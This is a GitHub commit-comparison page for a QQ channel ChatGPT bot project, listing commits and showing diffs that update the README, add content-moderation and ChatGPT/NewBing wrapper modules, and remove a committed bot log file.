Compare commits

...

129 Commits

Author SHA1 Message Date
Soulter
f9a7a723aa fix: 修复update的一些bug 2023-04-02 21:12:16 +08:00
Soulter
7bb4ad648a Update README.md 2023-04-02 21:07:19 +08:00
Soulter
7c3cb98cf8 fix: 修复update一些问题 2023-04-02 21:02:31 +08:00
Soulter
0cc6bc0f1d fix: 修复update一些问题 2023-04-02 21:02:06 +08:00
Soulter
4181d62b5c Merge pull request #65 from Soulter/61-enhancement-重构代码增强稳定性
61 enhancement 重构代码增强稳定性
2023-04-02 20:42:54 +08:00
Soulter
7a1c0b0821 add: launcher.py 2023-04-02 20:37:55 +08:00
Soulter
b74d32c2c8 fix: 修复command的bug 2023-04-02 20:31:29 +08:00
Soulter
e320bb5ab8 refactor: command: update 2023-04-02 20:23:31 +08:00
Soulter
076cfd3e97 Update README.md 2023-04-02 19:51:28 +08:00
Soulter
515a937c07 refactor: 重构部分代码 2023-04-02 17:29:51 +08:00
Soulter
2c5451120e refactor: 重构部分代码 2023-04-01 09:24:14 +08:00
Soulter
e6f6bee7ee refactor: 重构部分代码 #61 2023-04-01 01:02:16 +08:00
Soulter
1a137a8639 refactor: 重构部分代码-officialapi 2023-03-31 20:05:23 +08:00
Soulter
c8f6d090cc fix: 修复官方api回复不显示前缀的问题 2023-03-31 09:06:08 +08:00
Soulter
b7b7877dfc feat: 支持在配置文件自定义回复前缀 #57 2023-03-30 04:53:26 +00:00
Soulter
608bd0398e Merge pull request #60 from slippersheepig/patch-2
fix: add dependency for image function
2023-03-29 20:14:13 +08:00
Soulter
2541663b77 Merge pull request #54 from RockChinQ/master
[Chore] 添加.gitignore
2023-03-29 20:13:11 +08:00
sheepgreen
5d774f3d7b add dependency for image function 2023-03-29 20:05:44 +08:00
Soulter
6ea1366e73 Merge pull request #59 from O2022/patch-3
feat: 新增画图指令:画
2023-03-29 17:30:21 +08:00
Soulter
134a8e233a Merge pull request #58 from O2022/patch-2
feat: 实现OpenAI画图
2023-03-29 17:21:49 +08:00
O2022
6ccfc674a5 Update core.py
添加了画图功能,内容第一个字输入画字即可触发该功能
2023-03-29 16:26:25 +08:00
O2022
37e9373561 Update core.py
添加画图功能,需调用OpenAI api启用
2023-03-29 16:17:11 +08:00
Soulter
bfa8f137de Update requirements.txt 2023-03-29 00:31:37 +08:00
Rock Chin
66a85cddf5 chore: 添加.gitignore 2023-03-28 23:07:52 +08:00
Rock Chin
bf84e74490 chore: 清理不应提交的文件 2023-03-28 23:07:37 +08:00
Soulter
3d8f96ef8a Merge pull request #51 from Soulter/42-openai_api_domain_customization
fix: 删除测试数据
2023-03-27 13:26:13 +08:00
Soulter
84c57a47ad fix: 删除测试数据 2023-03-27 13:25:37 +08:00
Soulter
5e101bb3c0 Merge pull request #50 from Soulter/42-openai_api_domain_customization
perf: 信息过长分条发送 #40
2023-03-27 12:39:55 +08:00
Soulter
246fbd6337 perf: 信息过长分条发送 2023-03-27 12:39:07 +08:00
Soulter
9938e4392a Merge pull request #49 from RockChinQ/master
doc: 更新NewBing可用性说明
2023-03-27 09:13:04 +08:00
Rock Chin
10cda13213 doc: 更新NewBing可用性 2023-03-26 23:22:24 +08:00
Soulter
f3722b31d5 Merge pull request #48 from Soulter/42-openai_api_domain_customization
fix: 解决newbing换话题的问题;解决newbing回复慢的问题
2023-03-26 20:33:28 +08:00
Soulter
673a4e2c7f fix: 解决newbing换话题的问题;解决newbing回复慢的问题 2023-03-26 20:32:59 +08:00
Soulter
1d8fba05b6 Merge pull request #46 from Soulter/42-openai_api_domain_customization
fix: 删除linux热更新
2023-03-25 11:49:28 +08:00
Soulter
7c06883975 fix: 删除linux热更新 2023-03-25 11:48:58 +08:00
Soulter
6da12b7a67 Merge pull request #45 from Soulter/42-openai_api_domain_customization
更新config
2023-03-25 11:43:22 +08:00
Soulter
0342d752e6 更新config 2023-03-25 11:41:40 +08:00
Soulter
a851e34c94 Merge pull request #44 from Soulter/42-openai_api_domain_customization
feat: newbing接入
2023-03-25 11:37:46 +08:00
Soulter
ad8aed5724 feat: newbing接入 2023-03-25 11:37:08 +08:00
Soulter
75101bf270 Merge pull request #43 from Soulter/42-openai_api_domain_customization
feat: 新增openai自定api_base #42
2023-03-25 10:33:04 +08:00
Soulter
43df7003d6 feat: 新增openai自定api_base 2023-03-25 10:32:15 +08:00
Soulter
502703b749 docs: 更新requirements.txt 2023-03-25 10:12:09 +08:00
Soulter
8365f39f95 docs: 更新requirements.txt 2023-03-25 10:10:23 +08:00
Soulter
aa5f8db59d Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-25 10:09:04 +08:00
Soulter
d2b60b72d9 docs: 更新requirements.txt 2023-03-25 10:07:57 +08:00
Soulter
14c36ceb52 feat:接入文心一言(完全不稳定) 2023-03-25 10:03:48 +08:00
Soulter
cdc3bdd769 Update README.md 2023-03-23 19:59:48 +08:00
Soulter
48d0c2a8c8 Update README.md 2023-03-23 19:58:53 +08:00
Soulter
6923979014 Update README.md 2023-03-21 17:18:23 +08:00
Soulter
03239439c9 Update requirements.txt 2023-03-20 18:49:58 +08:00
Soulter
da3381a887 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-14 13:58:01 +08:00
Soulter
a1253cc241 fix: 敏感词修复 2023-03-14 11:37:28 +08:00
Soulter
ffe10cc5c2 Update config.yaml 2023-03-13 20:03:06 +08:00
Soulter
7093cf5ab8 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-13 19:46:33 +08:00
Soulter
979a0cdd2e perf: 自有敏感词拦截器支持正则匹配 #18
fix: 修复版本显示的一些问题
2023-03-13 19:46:30 +08:00
Soulter
b495a11d1f feat: 接入百度内容审核服务 2023-03-13 18:45:53 +08:00
Soulter
8698e87e51 Update README.md 2023-03-12 18:00:12 +08:00
Soulter
6d2f9e5ba8 docs: 更新逆向库版本 2023-03-12 17:49:56 +08:00
Soulter
0e24e107d6 Merge pull request #35 from waveyl/删除“正在思考”
删除“正在思考”的回复
2023-03-07 11:49:25 +08:00
waveyl
888a4e89ab 删除“正在思考”的回复 2023-03-07 11:38:15 +08:00
Soulter
1a55684ae8 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-07 10:43:13 +08:00
Soulter
858712dcbc fix: 修复/help一些问题 2023-03-07 10:43:10 +08:00
Soulter
ad4d068bbc Merge pull request #33 from waveyl/max_token
fix: 将max_token修改为9000000
2023-03-07 10:21:11 +08:00
wave
0f5a2101b7 fix: max_token现在为九百万 2023-03-07 09:54:45 +08:00
Soulter
7bc9d8dc7b docs: 更新依赖版本 2023-03-07 09:13:38 +08:00
Soulter
506a62e6e6 Merge pull request #32 from Soulter/30-personality-fix
fix: 修复人格的一些bug #30
2023-03-07 09:05:09 +08:00
Soulter
44e22087d8 fix: 修复人格的一些bug
feat: 自定义人格
2023-03-07 09:00:15 +08:00
Soulter
d88c06578d Merge pull request #31 from Soulter/27-msg-oper-perf
fix: 修复Tokens超限后重新请求无法发送QQ信息的问题 #27
2023-03-07 08:17:47 +08:00
Soulter
93bc12a89c Merge branch '27-msg-oper-perf' of https://github.com/Soulter/QQChannelChatGPT into 27-msg-oper-perf 2023-03-07 08:15:25 +08:00
Soulter
eedcb9b825 fix: 修复缓存超限后重新请求无法发送QQ消息的问题 2023-03-07 08:15:21 +08:00
Soulter
b8fe50a196 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-07 07:59:51 +08:00
Soulter
10b1538118 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-06 23:30:25 +08:00
Soulter
09cfd18f6f feat: 回复消息引用 #28
perf: 完善逆向库中RateLimit的切换机制
perf: 其他优化
2023-03-06 23:28:01 +08:00
Soulter
d01be66344 feat: 回复消息引用
perf: 完善逆向库中RateLimit的切换机制
perf: 其他优化
2023-03-06 23:23:44 +08:00
Soulter
c0e4d0595b feat: 添加系统代理 2023-03-05 13:55:21 +08:00
Soulter
d403323a36 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-05 12:41:44 +08:00
Soulter
3092bbd210 perf: 解除启动时需要回车的限制
perf: 优化Linux自动更新的时间
2023-03-05 12:40:51 +08:00
Soulter
9d2cd27705 Merge pull request #23 from Soulter/ChatGPTAI-perf
perf: 重构ChatGPT API,更稳定。
2023-03-05 12:32:41 +08:00
Soulter
ec48b57358 Merge branch 'master' into ChatGPTAI-perf 2023-03-05 12:32:09 +08:00
Soulter
54cdca01d3 perf: 重构ChatGPT API,更稳定。 2023-03-05 12:26:46 +08:00
Soulter
4b35f7f8fd Merge pull request #22 from Soulter/20-revChatGPTLoginPerf
perf: 逆向库支持access/session登录
2023-03-05 11:04:14 +08:00
Soulter
651ba7b3d6 fix: 删除一些字段 2023-03-05 11:02:32 +08:00
Soulter
cd1390d449 perf: 逆向库支持access/session登录
fix: 优化对逆向库的适配
2023-03-05 10:59:31 +08:00
Soulter
d478ff02b6 Delete bot24linux/configs directory 2023-03-05 09:08:42 +08:00
Soulter
1da3a19ddd Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-03 17:32:02 +08:00
Soulter
db66cbfb9c fix: 修复逆向的一些问题 2023-03-03 17:29:22 +08:00
Soulter
51729f4a50 Update README.md 2023-03-03 16:59:00 +08:00
Soulter
d739abef60 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-03 12:33:35 +08:00
Soulter
2ecb3fc7cf fix:修复热重载的一些问题 2023-03-03 12:33:32 +08:00
Soulter
69c576086e Update requirements.txt 2023-03-03 12:27:47 +08:00
Soulter
a833812738 feat: 逆向ChatGPT 2023-03-03 12:20:11 +08:00
Soulter
b557bc1ec7 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-03 12:09:41 +08:00
Soulter
8ea7f42a1f merge 2023-03-03 12:03:30 +08:00
Soulter
9d553145ca feat: 接入逆向ChatGPT库。
perf: 重构部分代码,提高代码鲁棒性。
2023-03-03 11:58:52 +08:00
Soulter
a38f3b9c28 fix: 修复缓存超限报错的问题 2023-03-03 10:08:14 +08:00
Soulter
9122b33fd0 Update README.md 2023-03-02 18:15:17 +08:00
Soulter
91c6767522 Update README.md 2023-03-02 16:58:21 +08:00
Soulter
5cf8df572a Merge pull request #19 from slippersheepig/patch-1
fix: change engine to model to use chatgpt
2023-03-02 11:41:09 +08:00
sheepgreen
64bfac00a9 fix: change engine to model to use chatgpt 2023-03-02 11:39:34 +08:00
Soulter
7407ac0ce1 Update requirements.txt 2023-03-02 10:47:50 +08:00
Soulter
0bb0493404 fix: 修复了一些bug 2023-03-02 10:44:44 +08:00
Soulter
4366572675 feat: 支持/gpt指令,查看配置 2023-03-02 09:46:29 +08:00
Soulter
ffa3a0be3f Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-03-02 09:34:31 +08:00
Soulter
4dc214b27e feat: 支持官方ChatGPT API
perf: 提高了稳定性
2023-03-02 09:34:16 +08:00
Soulter
2baee48ff7 Update README.md 2023-02-28 19:26:57 +08:00
Soulter
74ae9cbee0 Update README.md 2023-02-28 08:46:52 +08:00
Soulter
1bfa325a6c Update README.md 2023-02-28 08:46:02 +08:00
Soulter
5663c1d6b2 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-02-28 08:35:26 +08:00
Soulter
9a96456a77 feat: 支持在配置文件设置是否关闭私聊功能
fix: 修复了人格功能的一些bug
2023-02-28 08:35:05 +08:00
Soulter
9f741ef749 feat: 支持在配置文件设置是否关闭私聊功能
fix: 修复人格功能的一些bug
2023-02-28 08:34:04 +08:00
Soulter
dadaa10924 Update requirements.txt 2023-02-27 09:18:23 +08:00
Soulter
6b596dcb12 Update README.md 2023-02-18 22:59:42 +08:00
Soulter
6d4d2bf84d fix: 修复了/help菜单的一些bug 2023-02-18 22:53:40 +08:00
Soulter
97cc173086 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-02-18 21:57:24 +08:00
Soulter
c472e871a9 feat: 人格设置
fix: 修复私聊不回复的问题
perf: 优化了一些指令的性能。
2023-02-18 21:57:12 +08:00
Soulter
8b0fcd597c Update README.md 2023-02-16 11:43:55 +08:00
Soulter
75b2375acc Merge pull request #16 from Lan-ce-lot/add-requirements
docs: add requirements.txt
2023-02-16 01:56:16 +08:00
Lancelot
964cef5f33 docs: add requirements.txt 2023-02-16 00:48:51 +08:00
Soulter
5b26060a01 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-02-11 01:59:31 +08:00
Soulter
f77d668cc1 feat: 热重载 2023-02-11 01:57:30 +08:00
Soulter
dc063f3292 feat: linux热重载 2023-02-11 01:55:57 +08:00
Soulter
805ea487f3 Update README.md 2023-02-10 01:30:02 +08:00
Soulter
e35659d760 Update README.md 2023-01-29 23:29:29 +08:00
Soulter
892770a055 Update README.md 2023-01-29 23:28:50 +08:00
Soulter
1a8036c9ec fix: 修复QQ消息只能读取一行的bug 2023-01-25 18:16:28 +08:00
Soulter
9a242b7339 fix: bug fixes 2023-01-18 14:06:39 +08:00
Soulter
e0679b9ee4 Merge branch 'master' of https://github.com/Soulter/QQChannelChatGPT 2023-01-18 12:56:29 +08:00
Soulter
9f0cad1e93 feat: 一键启动 2023-01-18 12:55:55 +08:00
Soulter
6deebac618 Update README.md 2023-01-16 21:20:13 +08:00
26 changed files with 1827 additions and 819 deletions

3
.gitignore vendored Normal file
View File

@@ -0,0 +1,3 @@
__pycache__
botpy.log
.vscode

View File

@@ -1,3 +0,0 @@
{
"python.analysis.typeCheckingMode": "basic"
}

View File

@@ -1,19 +1,23 @@
<div align="center">
![QQChannelChatGPT](https://socialify.git.ci/Soulter/QQChannelChatGPT/image?description=1&font=Inter&forks=1&issues=1&language=1&name=1&logo=https%3A%2F%2Fgithub.com%2Ftencent-connect%2Fbot-docs%2Fblob%2Fmain%2Fdocs%2F.vuepress%2Fpublic%2Ffavicon-64px.png%3Fraw%3Dtrue&owner=1&pattern=Plus&stargazers=1&theme=Light)
</div>
## ⭐体验
扫码加入QQ频道
![image](https://user-images.githubusercontent.com/37870767/210030647-c4c00f31-8ccc-4bd2-835a-b5af9ab31496.png)
使用手机QQ扫码加入QQ频道(频道名: GPT机器人 | 频道号: x42d56aki2)
欢迎Star本项目
<img src="https://user-images.githubusercontent.com/37870767/227197121-4f1e02a4-92fd-4497-8768-9d6977a291b7.jpg" width="200"></img>
**Windows用户推荐Windows一键安装请前往Release下载最新版本**
详细部署教程链接https://soulter.top/posts/qpdg.html
有网络问题报错的请先看issue解决不了再加频道反馈
## ⭐功能:
- 逆向ChatGPT库
- 官方ChatGPT AI
- 文心一言即将支持链接https://github.com/Soulter/ERNIEBot 欢迎Star
- NewBing
- Bard (即将支持)
### 基本功能
<details>
<summary>✅ 回复符合上下文</summary>
@@ -55,7 +59,7 @@
</details>
<details>
<summary>✅ 支持指令控制</summary>
<summary>✅ 支持多种指令控制</summary>
- 详见下方`指令功能`
@@ -79,16 +83,24 @@
- `/token`查看当前缓存的总token数
- `/count` 查看统计
- `/status` 查看chatGPT的配置
- `/help` 查看帮助
- `/key` 动态添加key
- `/set` 人格设置面板
## 📰使用方法:
**详细部署教程链接**https://soulter.top/posts/qpdg.html
### 安装第三方库
使用Python的pip工具安装
- `qq-botpy` QQ频道官方Python SDK
- `openai` (OpenAI )
- `openai` (OpenAI Python SDK)
> ⚠注意由于qq-botpy需要运行在`Python 3.8+`的版本上,因此本项目也需要在此之上运行
```shell
pip install -r requirements.txt
```
> ⚠注意由于qq-botpy库需要运行在`Python 3.8+`的版本上,因此本项目也需要在此之上运行
### 配置
@@ -99,8 +111,6 @@
### 启动
- 启动main.py
## 赞助
⭐[爱发电](https://afdian.net/a/soulter)⭐
## DEMO
![1.jpg](screenshots/1.jpg)

26
addons/baidu_aip_judge.py Normal file
View File

@@ -0,0 +1,26 @@
from aip import AipContentCensor
class BaiduJudge:
def __init__(self, baidu_configs) -> None:
if 'app_id' in baidu_configs and 'api_key' in baidu_configs and 'secret_key' in baidu_configs:
self.app_id = str(baidu_configs['app_id'])
self.api_key = baidu_configs['api_key']
self.secret_key = baidu_configs['secret_key']
self.client = AipContentCensor(self.app_id, self.api_key, self.secret_key)
else:
raise ValueError("Baidu configs error! 请填写百度内容审核服务相关配置!")
def judge(self, text):
res = self.client.textCensorUserDefined(text)
if 'conclusionType' not in res:
return False, "百度审核服务未知错误"
if res['conclusionType'] == 1:
return True, "合规"
else:
if 'data' not in res:
return False, "百度审核服务未知错误"
count = len(res['data'])
info = f"百度审核服务发现 {count} 处违规:\n"
for i in res['data']:
info += f"{i['msg']}\n"
info += "\n判断结果:"+res['conclusion']
return False, info

View File

@@ -0,0 +1,45 @@
from revChatGPT.V1 import Chatbot
class revChatGPT:
def __init__(self, config):
if 'password' in config:
config['password'] = str(config['password'])
self.chatbot = Chatbot(config=config)
def chat(self, prompt):
resp = ''
"""
Base class for exceptions in this module.
Error codes:
-1: User error
0: Unknown error
1: Server error
2: Rate limit error
3: Invalid request error
4: Expired access token error
5: Invalid access token error
6: Prohibited concurrent query error
"""
err_count = 0
retry_count = 5
while err_count < retry_count:
try:
for data in self.chatbot.ask(prompt):
resp = data["message"]
break
except BaseException as e:
try:
print("[RevChatGPT] 请求出现了一些问题, 正在重试。次数"+str(err_count))
err_count += 1
if err_count >= retry_count:
raise e
except BaseException:
err_count += 1
print("[RevChatGPT] "+str(resp))
return resp

View File

@@ -0,0 +1,47 @@
import asyncio
from EdgeGPT import Chatbot, ConversationStyle
import json
class revEdgeGPT:
def __init__(self):
self.busy = False
self.wait_stack = []
with open('./cookies.json', 'r') as f:
cookies = json.load(f)
self.bot = Chatbot(cookies=cookies)
def is_busy(self):
return self.busy
async def reset(self):
try:
await self.bot.reset()
return False
except BaseException:
return True
async def chat(self, prompt):
if self.busy:
return
self.busy = True
resp = 'err'
err_count = 0
retry_count = 5
while err_count < retry_count:
try:
resp = await self.bot.ask(prompt=prompt, conversation_style=ConversationStyle.creative)
resp = resp['item']['messages'][len(resp['item']['messages'])-1]['text']
if resp == prompt:
resp += '\n\n如果你没有让我复述你的话,那代表我可能不想和你继续这个话题了,请输入/reset重置会话😶'
break
except BaseException as e:
print(e.with_traceback)
err_count += 1
if err_count >= retry_count:
raise e
print("[RevEdgeGPT] 请求出现了一些问题, 正在重试。次数"+str(err_count))
self.busy = False
print("[RevEdgeGPT] "+str(resp))
return resp

323
botpy.log
View File

@@ -1,323 +0,0 @@
2022-12-08 14:29:09,486 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 14:29:10,173 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 14:29:10,174 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 14:29:10,175 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 14:29:10,175 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 14:29:10,335 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 14:29:10,460 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 14:29:10,461 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 16:17:18,117 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:17:18,355 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/users/@me, 错误代码: 401, 返回内容: {'message': 'wrong bot token', 'code': 11242}, trace_id:829d8c60d296a3edcfac3d776dbd8b47
2022-12-08 16:18:59,759 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:19:00,266 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 16:19:00,267 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 16:19:00,268 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 16:19:00,268 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 16:19:00,412 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 16:19:00,522 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 16:19:00,522 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 16:20:14,446 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:20:15,035 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 16:20:15,036 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 16:20:15,037 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 16:20:15,037 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 16:20:15,232 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 16:20:15,320 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 16:20:15,321 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 16:42:06,957 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:42:07,468 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 16:42:07,469 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 16:42:07,469 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 16:42:07,470 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 16:42:07,672 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 16:42:07,862 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 16:42:07,863 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 16:45:44,758 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:45:45,439 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 16:45:45,440 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 16:45:45,441 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 16:45:45,441 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 16:45:45,751 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 16:45:45,858 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 16:45:45,859 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 16:47:16,567 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:47:17,008 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 16:47:17,009 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 16:47:17,009 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 16:47:17,010 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 16:47:17,187 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 16:47:17,284 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 16:47:17,285 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 16:48:39,358 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:48:45,366 [WARNING] (http.py:188)request 请求超时,请求连接: https://api.sgroup.qq.com/gateway/bot
2022-12-08 16:48:53,301 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:48:53,789 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 16:48:53,790 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 16:48:53,791 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 16:48:53,791 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 16:48:53,969 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 16:48:54,062 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 16:48:54,063 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 16:49:26,466 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150805/messages, 错误代码: 403, 返回内容: {'code': 304003, 'message': 'url not allowed'}, trace_id:b201dd7b37649dcf47b82d54c58bc5dd
2022-12-08 16:51:59,155 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:51:59,728 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 16:51:59,729 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 16:51:59,730 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 16:51:59,730 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 16:51:59,887 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 16:52:00,022 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 16:52:00,023 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 16:52:28,760 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150805/messages, 错误代码: 403, 返回内容: {'code': 304003, 'message': 'url not allowed'}, trace_id:e62b072c9f0184f6bf7dd03a00fc0ef3
2022-12-08 16:53:53,370 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:53:53,890 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 16:53:53,891 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 16:53:53,892 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 16:53:53,892 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 16:53:54,101 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 16:53:54,194 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 16:53:54,195 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 16:54:26,287 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150805/messages, 错误代码: 501, 返回内容: None, trace_id:None
2022-12-08 16:55:01,062 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 16:55:01,601 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 16:55:01,601 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 16:55:01,602 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 16:55:01,603 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 16:55:01,742 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 16:55:01,816 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 16:55:01,817 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 17:00:29,939 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 17:00:30,583 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 17:00:30,584 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 17:00:30,585 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 17:00:30,585 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 17:00:30,839 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 17:00:30,943 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 17:00:30,944 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 17:00:53,548 [ERROR] (http.py:73)_handle_response [botpy] 接口请求异常,请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 403, 返回内容: {'code': 304003, 'message': 'url not allowed'}, trace_id:2ea547d78364cea60583ed450e589a17
2022-12-08 17:10:31,405 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 17:10:32,081 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
2022-12-08 17:10:32,082 [INFO] (connection.py:59)multi_run [botpy] 最大并发连接数: 1, 启动会话数: 1
2022-12-08 17:10:32,083 [INFO] (client.py:236)bot_connect [botpy] 会话启动中...
2022-12-08 17:10:32,083 [INFO] (gateway.py:110)ws_connect [botpy] 启动中...
2022-12-08 17:10:32,342 [INFO] (gateway.py:136)ws_identify [botpy] 鉴权中...
2022-12-08 17:10:32,449 [INFO] (gateway.py:80)on_message [botpy] 机器人「SoGPT-测试中」启动成功!
2022-12-08 17:10:32,450 [INFO] (gateway.py:217)_send_heart [botpy] 心跳维持启动...
2022-12-08 17:13:47,495 [INFO] (client.py:159)_bot_login [botpy] 登录机器人账号中...
2022-12-08 17:13:47,993 [INFO] (client.py:178)_bot_init [botpy] 程序启动...
